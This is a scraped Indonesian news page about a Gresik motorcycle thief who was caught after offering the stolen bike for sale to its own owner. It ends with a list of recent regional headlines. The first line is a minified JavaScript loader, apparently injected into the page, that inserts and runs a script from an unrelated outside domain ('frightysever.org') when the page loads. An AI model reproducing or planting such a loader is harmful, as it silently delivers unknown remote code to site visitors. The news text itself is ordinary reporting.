(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
WARGA +62

Maling Konyol, Curi Motor Eh Jualnya Malah ke Pemilik


KANALKALIMANTAN.COM – Maling motor di Gresik ini benar-benar apes. Ia menjual barang hasil curian ke korbannya sendiri. Transaksi itu tentu berakhir batal, karena pembeli lebih dulu menyadari kalau barang yang dijual merupakan motornya.

Kejadian lucu itu bermula saat korban M Charis (37) warga Desa Sekapuk, Kecamatan Ujungpangkah, Gresik, melihat postingan di media sosial grup jual beli motor, area Bojonegoro, Tuban, Lamongan.

Saat itu korban hampir saja tertipu kalau saja tidak memperhatikan gambar postingan secara jelas. Setelah diamati motor matic dengan nopol W 6568 MQ itu memang miliknya yang sempat hilang. Korban akhirnya berpura-pura menjadi pembeli.

Setelah melakukan komunikasi tawar menawar melalui medsos. Identitas pelaku akhirnya berhasil terkuak. Pelaku adalah Purwanto (33) merupakan warga Desa Bandrong, Kecamatan Jabung, Kota Malang. Selanjutnya, korban dan beberapa warga berencana menjebak pelaku dengan mengajak janjian bertemu.

 

 

Baca juga: Banjir di Kalsel Selalu Berulang, Akademisi: Penanganan Hanya di Koridor Hilir, Tidak Sampai ke Hulu!

Pelaku yang tidak memiliki firasat buruk tersebut manut saja. Ia akhirnya bertemu di lokasi yang sudah ditentukan, yakni di Desa Lowayu, Kecamatan Dukun, Gresik. Setelah itu korban dan warga lalu menyerahkan pelaku ke Polsek Ujungpangkah.

Kapolsek Ujungpangkah AKP Mutlakin mengatakan kasus itu bermula ketika korban melaporkan kejadian kehilangan motor pada 13 November 2021 lalu. Belakangan diketahui, pelakunya merupakan Purwanto warga Kota Malang.

Kejadian kehilangan bermula saat istri korban memarkir motor di pinggir rumah dengan kunci masih melekat, sekitar pukul 00.30 Wib. Keesokan harinya, korban dibuat kaget lantaran motornya sudah raib

“Korban lalu melapor ke Polsek Ujungpangkah atas kehilangan motornya,” katanya, Kamis (2/12/2021).

Baca juga: Tiga Kasus Besar Diungkap BNNK HSU Sepanjang 2021

Di hadapan penyidik, Purwanto mengaku beraksi seorang diri. Namun hal tersebut tidak membuat polisi berhenti melakukan pengembangan kasus.

“Pengembangan kasus tetap kami lakukan karena diduga jaringan pencurian kendaraan bermotor,” katanya.

Akibat perilakunya, kini Purwanto harus meringkuk di balik jeruji besi. Polisi juga telah mengantongi barang bukti berupa satu unit sepeda motor. (Suara.com/Amin Alamsyah)

Editor : kk


Risa

Recent Posts

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

3 jam ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

5 jam ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

5 jam ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

5 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

7 jam ago

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

8 jam ago

This website uses cookies.